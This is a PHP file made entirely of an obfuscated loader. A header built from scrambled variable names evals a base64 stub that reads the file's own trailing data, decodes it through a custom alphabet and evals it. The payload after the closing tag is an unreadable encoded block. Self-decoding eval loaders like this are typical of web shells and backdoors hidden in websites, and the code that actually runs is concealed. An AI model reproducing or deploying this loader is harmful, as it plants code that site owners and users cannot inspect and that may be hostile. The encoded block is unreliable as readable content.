<?php /* */$OOO000000=urldecode('%66%67%36%73%62%65%68%70%72%61%34%63%6f%5f%74%6e%64');$OOO0000O0=$OOO000000{4}.$OOO000000{9}.$OOO000000{3}.$OOO000000{5};$OOO0000O0.=$OOO000000{2}.$OOO000000{10}.$OOO000000{13}.$OOO000000{16};$OOO0000O0.=$OOO0000O0{3}.$OOO000000{11}.$OOO000000{12}.$OOO0000O0{7}.$OOO000000{5};$OOO000O00=$OOO000000{0}.$OOO000000{12}.$OOO000000{7}.$OOO000000{5}.$OOO000000{15};$O0O000O00=$OOO000000{0}.$OOO000000{1}.$OOO000000{5}.$OOO000000{14};$O0O000O0O=$O0O000O00.$OOO000000{11};$O0O000O00=$O0O000O00.$OOO000000{3};$O0O00OO00=$OOO000000{0}.$OOO000000{8}.$OOO000000{5}.$OOO000000{9}.$OOO000000{16};$OOO00000O=$OOO000000{3}.$OOO000000{14}.$OOO000000{8}.$OOO000000{14}.$OOO000000{8};$OOO0O0O00=__FILE__;$OO00O0000=0x1c3a0;eval($OOO0000O0('JE8wMDBPME8wMD0kT09PMDAwTzAwKCRPT08wTzBPMDAsJ3JiJyk7JE8wTzAwT08wMCgkTzAwME8wTzAwLDB4NDgwKTskT08wME8wME8wPSRPT08wMDAwTzAoJE9PTzAwMDAwTygkTzBPMDBPTzAwKCRPMDAwTzBPMDAsMHgxN2MpLCd4NHdhVjU2azdjMlVOSFcrdk8wbkY4b0Q5WVJLQ2ZpZC9odGIxenNBWjNxaklYTE1wR2dlckpQbXlRRXVCVGxTPScsJ0FCQ0RFRkdISUpLTE1OT1BRUlNUVVZXWFlaYWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXowMTIzNDU2Nzg5Ky8nKSk7ZXZhbCgkT08wME8wME8wKTs='));return;?>qAXlcVT+Na4+Na4+NaJefkcdCs8pK65bY0/ADJT60FG5DJBAUw7A7ty1nrT+NVBpnexpUt7A7tp1nrT+NaxpNVBp2wO+nrBpNaxpNVBZcVBpnexpnrBpNw/1nexpNVBpnexpUwO+nexpnexpNax3UwfyHkfh8bFPRefbNz8W05Cjf1BpK19yKrvQo8cUvPY3YwTZf67GiAH4obHGR1z9nVJpOPfzC13vKDzOOD8w86Gn+0CIcr5wvrO5O1f70F3UnVJWnJ4OFzHF88YDo5zR9ocbY68sYPh3RsXIKoQMCk5gCmOJfAfyiDZpNn7eHaFPHe/Q2gBA2013WPYbK6TeY0/1nexpNVBpnexp2nXzfs5I2wO+nexpnexpnex3Wp==7x3eYDHeRoTLDmHr9Dcr2w1uws8gCsTgDmczC6Tgf6zLYg/p2nI2ck4hCmHmKmc17ar/7bNG9nFpYoObNb8bY6c1Hn5bNsYtNaxPWoFeYa7GYafz7bI2ck4hCmHriD4z7ar/71JVH07uwtObKPGMCtxT7w7bY69J7bI2c6OzYs5JKkOd9oHrRoTL7ar/crY3K68eno5LceI2c6OzYs5JKkOdfDHzDP5q9D//+04rCA8zWpZ1Y68s9D8If5TbR65gCP8r7ar/cJf3KsOMfmNXNn7JN0Cuwszs2w5zKD4ri0/1DJH5FzY5FzIA05OFF5T8Fr80Dr5kOFQFcJr3204uwtOJCP8gvofzKAOe7ar/9Dcg9D1Z71fMKPfIY07I7zHIfDcp7tptn8HWvsTr7tptRo5d9DcbR6zPYD7tUwcY9oQ1YD/tUwc09oJtK68g7t1uwszs2k4gYofdKo5r9P/ZcgBAUszXC6GMY6FZcmpAUwOJCP8gvofzKAOe20xLcgT3cgp1DJH5FzY5FzIA05OFF5T8Fr80Dr5kOFQFcJr3204uwshz9oOzCt/A05OFFwBGUbx/Haxr7VQMfw46Km8LYwC3Wp3zi6zrWp3Tdv3xCP8eCPzMKzTef65gfw/3Wp3xRoQ3DmHzfw/AYDcgKmcdK6TAcgGW8FGN2nI2v6zLR8TeYDvZcPGMYJTzCAcMCANAUax3Wp3xRoQ3DmHzfw/AKo5yDP8yYoHJf6zMKzTrRoJzcgpp2nI2vkHzf5TrRoJzDPG3Kozr2ax3Wp3xY68sRoQz2wfDFrTd8180Frz+ntCIcm4ZCafeR68IKwC3Wp3xCP8r9PTMRPzz2wcmCPTA7tptKmct7tGrRoJz2w1jNe9pNwZgHwZm2nI2Ro9ZYP8rDPJhYPzbDm5JKmOzCJTAC6NZ201/ip3sfoQbf6zMKt4DFrTefkc3CkHI9DHZYDNZc65gCs5Q204uwAczfk8gKt43CJThCAchi0/19Dcg9D137aThCAchi8TX9DxZcJfnnmHrCszpCPGhCPhzCgCIc65gCs5Q20xE7kHrCszpCPGhCPhzCg/19Dcg9D13Wp3TwtOdFVTn8wxT75fnnmHrCszpCPGhCPhzCg/1DJ4+FJv3Wp3TwtO1RD7/+04XYaFZcgTZKPJzUPIeNaNpWa/QUm4J9sG39JTZf6JIUPJzY6zhUmOzKDxMNe4tNsNpWah19e9e9oFeYn1m9PVgHb4b9bVP9nYbHb/Lfkhrcg1uwszs26zeCP8r2wOdOr8FogfbR68bRgff20zuwsO3Y0/tfPTgRPzLYg73Wp3TRo9ZRDHeYDvZc5TkO8OKcPHZYoHjCP8LYwff20zuwtObR65g9oHrYDce7ar/cexGNbNrHn9mWazh9sH1YoYAR6zqRPGXKsTpCDcefk8PfmhQitCuwtObR65g9oHrYDcen68LYmOZ7ar/CmOgK68L2wObR65g9oHrYDce2nI2ckchKsOMK8HrCszLYgxT7wCAWp3sKm7/2wO37ar/NaI1R0xBNexuc61j2g1/ipZ1Cs5LY6TXFmOgRoQA7wyT7wObR65g9oHrYDceomchKsvZNwp19PhhCs5bf68gCrGzKsfrRwxXN0zfWp3Twszs2V4X9ozI2wOg9oQ1KPJnfkc3KsCLcrxAUtOg9oQ1KPJnfkc3KsCLcgQbKPrAUwc7YoGIKg7I71hzK6GMUw41Yo5g7k8eYD7h7t13ip31RoFZ7sHZYoHjUDczCm8IfwrG7t1uwAJzKkHzip31RoFZ7sHZYoHjUDczCm8Ifwrp7t1uwAr2dozs26zeCP8r2wOdOr8FogfbR68bRm33Cwff20zuwtOsRoGziszp7ar/cPHZYoHjYDcdiszpDPY3K6FLiszpceI2c6Y3K68rikv/+0xA9Phz9PXzCzTERD4dYszIY0QrikvAWpZ1iszp7ar/Ks8m7533CV5g9Ph3fsFuwszs7w/1iszpUnQMC68L2wOsRoGziszpU533CV5g9Ph3fsFEW1H0OF5FO01/+nrT75O08FF3ipZ1iszpUnQhY6O6CsTXFmOgRoQA2wOsRoGzfkhrUwfrYDHrcg1uwtOERDxX+sHIKmHz2w1uwtOERDx/+04LYDC/oszpvDcbR6zPYnI2ck33CwrlKm4zKt/1YszIYD33Cw1uwtOERDxX+s8yfkch9mOFKghAYDObfPvZ201uwtOERDxX+sHIKmHz2w1uw14eiDHrYorZ7A8Liszp7w7Lc6Y3K68ERDx3Wp3xCPhzK6GdYDhz9g/tfoQERDx/7ty1YszIYD33Cw1uw14p9DHef6hgf0/tfoQERDx/7ty1YszIYD33Cw1uwszs26Y3K68dYDh3CmOe2wOsRoGzfkhr20zuw14JKsG3KsIZc6Y3K68ERDx3Wp3xfoQIRoQj2wOsRoGzfkhr2nI2Y6zz2wcbR68bRgJgYDHJKkvXN073Wp3TYoGeYDI2vk8LK6zLRg/1YszIYD33Cw1uw14JKsG3KsIZc6Y3K68rikv3Wp31RoFZ7sHZYoHjUDczCm8Ifwrp7t1uwAr2do8ICP8uwsO3Y0/t9Phz9PIXCs8efoGrUnxt2nI2dv3Twszs2w5zKD4ri0/1C65eCmfMCsv3765LYwx1C65eCmfMCsv/7nrT7ax37kI2Ro9/26zeCP8r2wOdFVTn85IAC65eCgff201/ip33YtxZck4hCmHriD4z7arT7wcHOaFt204uwtOPRDH3f6TgC65eCmfMCsv/+04XYaFZc5TvnJHFogfp9DHecJr3Wmr2YoGeYozs7w/1C65eCmOQC6F/+nr/7zH7vnVt204uwtOPRDH3f6TgC65eCmfMCsv/+04eR6VG2wOdFVTn85IAC65eCgff2nXTws8ICPF/ipZ1fszeRDOMCA4hCmHmKmc17ar/c5TvnJHFogfp9DHecJrudv33Yt/1fszeRDOMCA4hCmHmKmc17arT7wOp9DHefPTgYwzuwtOdFr8nFrz+nzI1Y6zgD0xT7wc+0g7udv3TYoGeY043YtxZRDHeYDvZc5TkO8OKcm4hCmNAD0137kI2Ro9/2wOp9DHefkzpY0xT+0xtnFvJ7t1/ipZ1fszeRDOMCA4hCmHmKmc17ar/KovJ2wOdOr8Fogfp9DHecJr3Wmr2YoGeYozs7w/1C65eCmOQC6F/+nr/7zH7vnVt204uwtOPRDH3f6TgC65eCmfMCsv/+04eR6VG2wOdOr8Fogfp9DHecJr3Wmr2YoGeY04uwtOPRDH3f6TgC65eCmfMCsv/+0x1Drf585IAC65eCgffWmr2Ro9ZckY3CPzrKmcp9DHefPTgYwxT+0x1C65eCmfMCsv3ipZ1DJH5FJHcnrQKc6O3Czr/+0xtnrItWmr2dv33YtxZ7w53CmHzfw/1DJH5FJHcnrQKc6O3Czr37kGB2wOdFr8nFrz+nzI1Y6zgD0xh+0xtnrIt20x37kI2Y6zz2w7BCkcz765IRofL+oHzKAOzCbyBYsTgK04XYDOZKPvTC6TefaQv9DHefPTgYaZ/+6zLCk8r7kOQC6FTC65eCmfMCsv/Ks5XYnJp9DHe+bG3KA4Jfw4riD4z+DHJ9sJ3fw4P9oGJYnrA+byA+bpMYsTgKnyBUm4gYnyt2nXTwAr2YoGeYozs7w/1C65eCmfMCsv/+nr/Nw1/ipZ1DJH5FJHcnrQKc6O3Czr/+0xtnrItWp3Twszs2kHrCAOMK6TmYD7ZCm8tCmOg2547F5T+FgppUaN320xT+0xtfPzL7t12c6Te7ar/cmf3KtCuws8ICPF2c6Te7ar/cPQ3iwCuwtOe9oYzDPJMY6F/+04xRoQ3DPfzfw/ACP5sY8TXKPOzcg1uwszs2wV1CP5sY8TXKPOz2vZ1Y6ze9ocIY8TsfoQbf6zMKAN/+04xRoQ3DPfzfw/AY6ze9ocIY8TsfoQbf6zMKANA2nI2c6hMKo8d9mf17ar/v6fzf6HmYw/3Wp33Yth3CmHzfw/1DJ4+FJOKcPNAD013w14bR6O3Ct/1DJ4+FJOKcPNAD01uwtObfPv/+04xYP8r9mf12w1uwszs2wOMCgxT+0xAfPzLcg1/ipZ1R6TXY8TbfPv/+04efkcdCs8pK65bY0/tD5ptUw7M7tp1R6TXY8TbfPv3WpZ19mf17ar/CmOgDmczC6Gh9PFZ7zGC7tptUg7Ic6HmYw1uwAr2Ro9Z7wObfPOKCmOgK68L2wObfPv3Un5f7wVT7wCMcg12c6HmYwxL+0xAUgCuwszs2w53CmHzfw/1DJH5FJHcnrQKKovJ2wOdFr808180ogf785OvDrh+FJvAD01/UtfhRs5ycJr32vZ1DJH5FJHcnrQKKovJ2wOdFr808180ogf785OvDrh+FJvAD01/UtfhRs5ycJr/+0xZ9sTMKw11OrG+v15NFJIAY68s9D8If5TJCP8d9o3hiwffWp33Yt/1KmN/+nr/cmf3KtC3wtOhK6zhCP8e7ar/9Dcg9D1ZwtcNRDHr7VO3Cs8bf6Tgi07T+tc1RD7tUxZtOszLYw43KsOziwQpRkx/Roy/9m8gCs8Lfw41RD7t+nytY6zg7wTe7wTm7wTt76zLY68yUA4ZCw7Iwtc6RoQ17w3bKPQsRoCqUA4ZCw43Kt4bfDcgYoQr76O3Ct7T+tc1RD7/UmN/UmC/UP7/2sHMKsY3YgZLC6hp7tp27zHZKmC/9oHrRDYz76HMKsQz9mO3KPQe7brl7sQzfkHr9Dv/Uo5L7tp27zHZKmC/CA8LKszLYg4eYDcPRoHzCg7T+tcLYDv/CmOhCAvtUxZt8DHzCt4h9PHMfoQrCg7T+tcLYDv/fDHzCt7IwtcnR6Tm76HMKD4Jf68gCg7T+tcLYDv/fszzfg7Iwtc4Fzx/865tK6Ft+nyt9Dcp7wJh7tp271zv7VHMKsY3Ym8g9DO3KPyt+nytRD4bKPQsRoC/UP5IKw722nI2YoGeYvZ19oG39DHzCgxT765gCs5Q2xZtn6zefw41RD7t+nytKkN/UoGZ907IwtcIRDHr76Y3K6F/9DOrCsztfDOzCg4MKt4h7VG3KA8y7kHz9PTLYw4zikOzKsOzYw4sRoGz7kHQCmOzK07T+tcICP5rfk7/UDYh7tp27AHZKmC/Km4zKs817k4MCAOe7brl7sQzfkHr9Dv/Uo5L7kp/YmczCwxXR04IRDHrYoytUxZtCkcM9P8eCg4ef65rfDNt+nytCkN/9D8y7tp271Y3Ksvt+nyt7tp27sY3Ksv/9oGI7kHJRov/YszIYDNt+nytYszLYwxM7wJriD4z769/UD4zCsr/UnxrNaxp7wJICg7IwtcsRoQ17kHJRov/YszIYDN/Roy/9m8gCs8Lfw41RD7t+nytYszLYwxL7wJriD4z769/UD4zCsr/UnxrNaxp7wJICg7IwtcsRoQ1765IKw4eYPz176Y3K68e7brl7sY3Ksv/UgxXfkzpY04s7wJpYDcX7wrpNbxpNwxXKkNtUxZtYszLYw4eYPz176Y3K68e76zL76HJCAczKAv/Y6zg7brl7sY3Ksv/UtxXfkzpY04s7wJpYDcX7wrpNbxpNwxXKkNtUxZtYszLYw4bKPQsRoCLRoQbUA4ZCw4sRoGzCg7T+tcsRoQ17wB/UDOQC6F/YtxXKs5XY04bKPQsRoCLRoQbUA4ZCw7IwtcsRoQ176HMKsY3YgZ/YszIYDNt+nytYszLYwxM7wJriD4z769/UoQhKoF/DwcbKPQsRoCqDw7tUxZtYszLYw4bKPQsRoCq76Y3K68e76zL76HJCAczKAv/Y6zg7brl7sY3Ksv/UtxXfkzpY04s7wJL9oJz75pt9PTLYszA2zpt7tp27sY3Ksv/9oGI7kfgRDOh9sGz76YMK6OzCAN/9oQ176Y3K68e7brl7sY3Ksv/UgxXC68gK0xXNtxXKkNtUxZtYszLYw4hK6p/fmc3f65tK6F/YsTIY68gCg4hKsv/YszIYDN/Roy/9m8gCs8Lfw41RD7t+nytYszLYwxL7wJpYDcX7wrg7wJICg7IwtcsRoQ1765IKw4eYDcPRoHzUA4mYw4sRoGzCg7T+tcsRoQ17wB/UDOQC6F/YtxXKs5XY04eYDcPRoHzUA4mYw7IwtcsRoQ17kHzCAY39PFLCkf176Y3K68e76zL76HJCAczKAv/Y6zg7brl7sY3Ksv/UtxXfkzpY04s7wJL9oJz7kHzCAY39PFLCkf17tp27sY3Ksv/9oGI7wQZfk4hCmHmYw4sRoGzCg7T+tcsRoQ17wB/UDOQC6F/YtxXKs5XY0xLRkOp9DHefPvtUxZtYszLYwxLRkOp9DHefPv/YszIYDN/Roy/9m8gCs8Lfw41RD7t+nytYszLYwxL7wJriD4z769/UoQhKoF/UshrC65eCmf17tp27sY3Ksv/9oGI7wQt9DHZDPh3CmOMCA1/YszIYDNt+nytYszLYwxM7wJriD4z769/UoQhKoF/UschCPhdR6zef6Tgi07IwtcsRoQ17wQt9DHZDPh3CmOMCA1/YszIYDN/Roy/9m8gCs8Lfw41RD7t+nytYszLYwxL7wJriD4z769/UoQhKoF/UschCPhdR6zef6Tgi07IwtcsRoQ1765IKwxLYs8r9PhX9ozICsN/YszIYDNt+nytYszLYwxM7wJriD4z769/UoQhKoF/UsYzf6HZKo53Kkcb7tp27sY3Ksv/UsYzf6HZKo53Kkcb76Y3K68e76zL76HJCAczKAv/Y6zg7brl7sY3Ksv/UtxXfkzpY04s7wJL9oJz7wQsYDObR6JhRoGg9g7IwtcNKPHhf6Ft+nyt7tp27sGM9P5rY04ZfkOpYwQbKPQs76Y3K68e7brl7sGM9P5rY04ZfkOpYwQbKPQs7tp27sGM9P5rY04PR6TefkNL9PTLYt4sRoGzCg7T+tcIKPHhf6F/fshMCmOeUsHMKs9tUxZtK6Tb9DOz7k4gKPYrC6vL9PTLYt4sRoGzCg7T+tcIKPHhf6F/CkcMYAOpYwQbKPQs7tp27sGM9P5rY04pCmztKsNL9PTLYt4sRoGzCg7T+tcIKPHhf6F/CkHQ9sQbUsHMKs9tUxZtK6Tb9DOz76JQUsHMKs9/YszIYDNt+nytK6Tb9DOz76JQUsHMKs9tUxZtK6Tb9DOz7651KozLUA4ZCw4sRoGzCg7T+tcIKPHhf6F/9oOXRoyLC6hp7tp27sGM9P5rY04bYsCLC6hp76Y3K68e7brl7sGM9P5rY04bYsCLC6hp7tp27sGM9P5rY04bKPQsUA4ZCw4sRoGzCg7T+tcIKPHhf6F/9PTLYtQpRkxtUxZtK6Tb9DOz76HMKsY3YgQ19Dv/YszIYDNt+nytK6Tb9DOz76HMKsY3YgQ19DvtUxZtK6Tb9DOz76HMKsY3YgQpRkx/YszIYDNt+nytK6Tb9DOz76HMKsY3YgQpRkxtUxZtK6Tb9DOz76HMKsY3YgQ3KsN/YszIYDNt+nytK6Tb9DOz76HMKsY3YgQ3KsNtUxZtK6Tb9DOz76HMKsY3YgQ3KsNLC6hp7brl7sGM9P5rY04bKPQsRoCLRoQbUA4ZCw7IwtcIKPHhf6F/9PTLYszAUsOzYs5JKkvLC6hp76Y3K68e7brl7sGM9P5rY04bKPQsRoCLY68s9D8IfwQpRkxtUxZtK6Tb9DOz76HMKsY3YgZ/YszIYDN/7brl7sGM9P5rY04bKPQsRoCtUxZtK6Tb9DOz7wQbKPQs76Y3K68e7brl7sGM9P5rY0xAUsHMKs9A7tp27sGM9P5rY0xLCkf176Y3K68e7brl7sGM9P5rY0xAUA4mYwCtUxZtK6Tb9DOz7wQeCop/YszIYDNt+nytK6Tb9DOz7wCLCm5Icg7IwtcIKPHhf6F/UshrC65eCmf176Y3K68e7brl7sGM9P5rY0xAUshrC65eCmf1cg7IwtcIKPHhf6F/UschCPhdR6zef6Tgi04sRoGzCg7T+tcIKPHhf6F/cgQt9DHZDPh3CmOMCA1A7tp27sGM9P5rY0xLKDzeCoGdR6zef6Tgi04sRoGzCg7T+tcIKPHhf6F/cgQXiDHGK5TZRDHrKmcQcg7IwtcIKPHhf6F/UsYzf6HZKo53Kkcb76Y3K68e7brl7sGM9P5rY0xAUsYzf6HZKo53Kkcbcg7IwtcIKPHhf6F/9s5bRm8p76Y3K68e7brl7sGM9P5rY04t9oHjfDxtUxZtK6Tb9DOz76OJKDx/YszIYDNt+nytK6Tb9DOz76OJKDxtUxZtK6Tb9DOz7k4gRD9/YszIYDNt+nytK6Tb9DOz7k4gRD9twt1uwsYJKsHrRoTL7kfeKrhz9oOzCt/37kI2Ro9ZYoJpfk1Zc5TvnJHFogfbR65gCP8rcJr32vZ1DJ4+FJOKcPHZ9DceYDvAD0xT7wOknVTwvFGnogf1YoYhfoGrDPHZ9DceYDvADnI2YPGM9s5I7wObKPGMCbI2YoHZKgxt+6hrKopl+6hz9ovlavZBKo8r904ZfkOpUo8GfozP+0faKPQrYoQrU8OQC6FA76HMKAOzKAvTcmOzikvMRkOXKaI/9PhhCAHzfartUtOdFVTn85IA9PhhCAHzfwff7wytceQvF1zoWwxX7aGrRDOIYnytUtOdFr808180ogf785OvDrh+FJvAD0xL7txX75fnngxtUzfnnJToO8cn0FTW7wyt+wTrRDOIYnyHwbGefkzIYnyHw/ztKPOQ7kXt9oHjYmcMfoQ1UoHMK6TgWtNpHb44Nnxu76HMK6TgWtHzNoFGYnVu76JhCsf3KbZpWg4sKPQrWsQMCsJhKwxmH0F/vDc39opI7VhzKkYzf6zb90p/CP5LCgJeYDc3YbI/d04b9oQP9DHu76O3Cm4I9D1E76cIKPHjWg4PYDcrRoHhKwJhK6zAKbZ/9sTrf6TXWmrHw/1bC65gf6zbK68eUo3eimf3YkOZWtxGNaxzWg4ZYozARkvE7aVpNk4yWg4t9oHjYmcMfoQ1UoHMK6TgWtxbNa9p9nVpWg4t9oHjYmcMfoQ1UozX9ofzWt4JCspZcgC3Wg4t9oHjYmcMfoQ1UDczC68hfaZ/KsBXCs8pYo5rWg4t9oHjYmcMfoQ1UDH3isFE76HMfs8gWg4t9oHjYmcMfoQ1UD4MCPzrRoTLWtxJNwF/HnxzWmrHw/ztKPOQUkO1UkOZwDXsKPQrWbVpCkv/f65ZKPJhU65gRo5IUkYzCsOhKsVICP5LCgJeYDc3YtGNfoH3Y6V/FP5LCeXX9DcARoyENaXPYDcrRoHhKwJhK6zAKb3rKmxudvr2wDOh9sGzUszLYsBciPHMK6TgWtHaNrNeveNudvr2wDOh9sGz7mOMKPGe86cI7kXt9oHjYmcMfoQ1UoHMK6TgWtxbNa9pvnVpWmrHw/zeC65LU6/GU6VciPHMK6TgWtHsYs9/7ozXC6Tgf65LfaXTavZcCm4hK/1ciPYMKAvXfP83YPhrWscMK6OzCbXTavZcRaVcwvzu9sTgY68gUoGzYAvEHD4y7kHMK6z17wNgOnY5WFNuC651Y6zLYeZgCk//HD4yWPYMKAvENnOpfw4oYDc19oQhWPch9PXACsTJKsvX9PTIKm7E7eVpNnFG9eXX9DcARoyENk4yWmrHw/z1RD9L9PTLf68LfxzuC651Y6zLYeZJCk/uKo5gYPzLUoGzYAvEHD4yWPch9PXACsTJKsvX9PTIKm7E7exPN6VGNaXTavZc9v1cwDXrYDhrUoOz9PTg9DO3KPyEKsTLYnXTavZc9n3ZKmYzC/1cimOzikvXY68bKmchf6zMKb3JKsOzCsG3KsFudvr2w0QrKPTIf6zpWb3hYAOzCt4u9s5bRPfgKm8LYaZbNa9PNrvJWPHMK6TgWtH6O19u9PTLf68LfaZ/9DOrCth19DOhUDOMKPGrRDx3WPJhCsf3KtJrKmxEUnFpCk/uY6zeC6Ghin3tK6TbReXp9oO1RoQAWbYpiwxGNk4yWm4MCPzrRoTLWs5tCPTIfDOzWmY3CPztRoG3fk1ER6z1Y68LWmrHw/1Lf6TMKkO3Ca3ZKmYzCbZE9oYrYD7/iPTp9oH3fk1ENnXPRDH39szIRDOQWAY3CPztK6Fudvr2w0QXKaVcwDXtKmc1YD7END4y7kHMK6z17wNgNa7yNe7uC651Y6zLYeZJCk/uKo5gYPzLWbxuKmYzCsYIKmCE9D8rKeXTavZcUsc3YP5gYoVciPJ3KtJmRoOrRaZGNaxzWPJhiwJmRoOrRaZGNaxzWPhzRofZfaZrNa4piaXTavZcRoQpfDvI7kOzikOhCs8hUw4eYoGz9mvciPJhCsf3KbZpWPHMK6TgWtHsYs9u9s5bRPfgKm8LYwJbKPGMCbZbNbxgWaNgWPcMCsOzCb3LKPQzWPYMKAvEWD4r7VHMfDc3YD7/ns8mWPTJf6G3KsFEKsTLYnXTavZcK65tYop/im4MCPzrRoTLWAczK65rRDYzdvr2woGh9s8IWs5sf68g7kXbKPQrYoQrWtCB+tCuYsTLfaZGNk4y7wfaKPQeKPGhCgCI76JMKsTeC65bYnXbKPGMCbZbYsYsWgJmYocjRDvXfkchKAHsKmcXWAcMf65rY0/QN6OzYg1uUoJMitJrCs5LCPYMCsrECsTr9DOz2a1pY68A2nIXKDNXfkchKAHsKmcXWAcMf65rY0/QN6OzYg1ufkchKAHsKmcXWAcMf65rY0/QN6OzYg1uCszARkvENm4yWg4rKmxENm4yWm4hY6O3KsCENaXpKmH3f6zMKb3h9AHMKk8rYnXpKPzLf68gUo8PYoQrCe3LKPQzWmrHw/zI9oczKa3tYoYMCsF/iPHMKAOzKAvEcgCuCszARkvENaI/f6TpWbxufPz1f6/ENnfpiaI/R683YPhrWbVmCk/u9s5bRPfgKm8LYaZbNbxgWaNgWm4MCPzrRoTLWs5tCPTIfDOzWm4MRoQrYD7XYDYzKAOeWsQMKsFuY6zeC6Ghin3tK6TbReXTavZcYsTgKv1ciPJhCsf3KbZpCk/udvr2w0HrKPTICJOtKxzuf68yfwJhK6zAKb3bYoQrYD7udvr2w0Hs9oI/wvzu9s5bRPfgKm8LYa3LKPQzWmrHw/1bYs5j7kO17xzuC651Y6zLYeZJCk//Nwxp7axudvr2wozsCs5XYv1ciPcMCsOzCbZGCk//CPTIRov/7exPN6VGNaXTavZcUAOMKPGe0oQpwDXmRoOrRaZeNa4pikrHw/1LKo53Kt4rRxzuf68yfwJhK6zAKb3IYoYrWPch9PXACsTJKsvX9PTIKm7E7exPN6VGNaXTavZcUsJhRoy/fk7ER6TPYDcu9s5bRPfgKm8LYwJbKPGMCbZbNeFrNbFgWmrHw/1LKo53Kt4rYwp/f6hufs8gf6zb9opX9oG3YPyEKoz1Y6GzWmrHw/z3KA4Jf5XriD4z+0fefocXRDvADDXt9oHjYmcMfoQ1UoHMK6TgWtNgOnY5WFNudvr2wozLCk8romOQC6FTcPcJfkOMKtffiPch9PXACsTJKsvX9PTIKm7E7ec5H1FQveXTavZcRoQpfDOKfkzpYnrACm8tKozrcJrER6TPYDcu9s5bRPfgKm8LYwJbKPGMCbZbHnY4OaVJWmrHw/z3KA4Jf5XriD4z+0ftfDOrKPyADn3ZKmYzCAXt9oHjYmcMfoQ1UoHMK6TgWtNJH15VNnFudvr2w0QINv1cwDXt9oHjYmcMfoQ1UoHMK6TgWtNgNa7yNe7udvr2wD4gYv1cwDXsKPQrWbzpfw4aKm8gRo8g7VQzfeXTavZBUmHrioGz+/r2+kHbCszpfayHwtx/7w4P9D7/9JB/+0xA7tQZf6JICm4z9PzhK6HZ9Dce2wOknVTwvFGnogfbfPvAD01/Ut7AWpr27wx/7kYhCt4hDgxT7wCtUshrKoGeC68bRo5I9PhhCANZvwOdFVTn85IA90ff20xL7tCHwtx/7w4P9D7/9PhhCAHzf5B/+0xA7tQZf6JICm4z9PzhK6HZ9Dce2Vx1DJ4+FJOKcPHZ9DceYDvAD01/Ut7AWpr27wx/7kYhCt4pN8B/+0xA7tyZ2kHrCA4MCghxc5TvnJHFogfpN0ffUwcCKt737nrTYs5ICPF3+gCAWshrKoGeC68bRo5I9PhhCANZc5TvnJHFogfpN0ffUV8W85TO8FTFO8N320xL7tCuavZ/7wx/fs5g7kxgDgxT7wCtUt/ZCmOgC6Te2Vx1DJ4+FJOKcmxgcJrI7zGL7t1h+nJs9oGeY01ScgCERkOXKkHpYoH39oGbR65gCg/1DJ4+FJOKcmxgcJrIOFQFDJ58nJO5Fg137wytceIHwtx/7w4P9D7/CaHd7ar/cg7L2whefkcpKmNZvwOdFVTn85IACaNAD0ptD6yt20VT+oYhKkHz2nBAce3Zf6JICm4z9PzhK6HZ9Dce2wOdFVTn85IACaNAD0G5nzOdF88+8V8n201/Ut7AWpr27wx/7kYhCt4pH5B/+0xA7tyZ2kHrCA4MCghxc5TvnJHFogfpHwffUwcXYw73+nrTYs5ICPF3+gCAWshrKoGeC68bRo5I9PhhCANZc5TvnJHFogfpHwff2wCMR6TXY0TjNexeNa/yW0TpfocIRoHdRkOXKwTXYoO390TrYoJpUeNp9bcbNa/yY6NPNP5zNPFQHPHhNb9p9P7GHsVP9e9yUAOyfwC3UV8W85TO8FTFO8N320xL7tCuavZHwtx/7w4P9D7/YwxT76OM9m8XYoQrWpr2woYJKsHrRoTL7kHzfwhhU6NICaVICa7ICaNI9PhhCAHzfw1/ipr2wvz3Ythh7nJLfoGI2ovLKo9L90QP9oGJYnJhWP8ICPF/YwQXYtQhUAYhKk8z+o5dWpr2wvz3Ythb7nJLfoGI2ovLKo9L9gQP9oGJYnJbWP8ICPF/YwQXYtQbUAYhKk8z+oHdWpr2wvz3YthpN0VTKA8IKwz1UsJsUAxGUAYhKk8z+DxGWP8ICPF/YwQXYtQpN0QP9oGJYnJpN8BuavZcwozs2kxg7nJLfoGI2ovLKo9LCa7Lfs5IfoFTCa7uYoGeY041UsJsUAxgUAYhKk8z+DxgDeIHw/1cRo9ZCaNh+oQJK6p3YwQXYtQpNgQP9oGJYnJpNeXzKkHz76vLKo9LCaNLfs5IfoFTCaHdWpr2wvz3YthbR65gCP8r7nJLfoGI2ovLKo9L9PhhCAHzfwQP9oGJYnJbR65gCP8rWP8ICPF/YwQXYtQbR65gCP8rUAYhKk8z+oHZ9DceYDOdWpr2wDrHw/zsfoQbf6zMKt4A26VI9gGpN0GpNtGpNgGbR65gCP8r204uavZcwDHzfwhhU6NICaVICa7ICaNI9PhhCAHzfw1uavZcwovLKo9LCm8tKozr2w1uavZcdvr2woYJKsHrRoTL76VZ90GbUkxGUkxgUkxeU6HZ9DceYDv37kIHw/1cCP8r26VI9gGpN0GpNtGpNgGbR65gCP8r2nIHw/1cfs5g7k4hCs5XCgxT7wfhRs5y+DOgfoFAWpr2wvzsKm7ZRnrpWP1BYwQXYtQzK68XYoQrCgQIYoQAf6/uR0Ij2vr2wv1cC65g9oJe7wIT7wCscgX1UsJsUs8IYoJzKAOeoPzfUsQhKoFjcerA2P8L9PT1Y8800FHMKD4MKs8Lfwh1UsJsUs8IYoJzKAOeoPzfUAYhKk8z2nIHw/1cCm7Zcg7L9oO1CPGhCPhzCg/1DJH5FzY5FzIAF18O8F8n85T8F11AD01/Ut7AUw4p9DchKDN3Wpr2wDrHw/zsfoQbf6zMKt4eCthJCspI7k4hCs5XCg1/ipr2wv1cw0BMRo9Z9PhhCAHzfwVTKA8IKwz1UsJsUsHZ9DceYDvLfs5IfoFT9PhhCAHzfaXzKkHz76vLKo9L9PhhCAHzfwQP9oGJYnJbR65gCP8rDeIHw/1cRo9/2kf3KsOMfgQ9nFG7fkOpFs8Gfo8efw1Hw/1cwDczC0xT76Qzfg49nFG7fkOpFs8Gfo8efw/3Wpr2wvzzKkHz76zs7whmRoQ1KmCLvoHrRDYzoVTtRs8bfw1Hw/1cwDczC0xT76Qzfg449mO3fs89nPcqYoHr2wfHRoHgKmHMYAvLoVJN05OFFwC3Wpr27wx/7wx/7w43YtxZCs8G204uavZ/7wx/7wx/7wx/7w4gYDVLKPQgYo51iDHr9DOz9PhhKsfz7ar/CkcM9P8eCJczCFHZ9oQAYnIHwtx/7wx/7wx/7wx/7kczC0QMC68L2wfvnJHFcgp/fDcIUw4rCA8z2nIHwtx/7wx/7wx/7wx/7kczC0QeYDO0YD5JYDHr068hY68g7w/AvPTLf68LfwJFiD4zcgp/cP5pC6G39P5rRoTL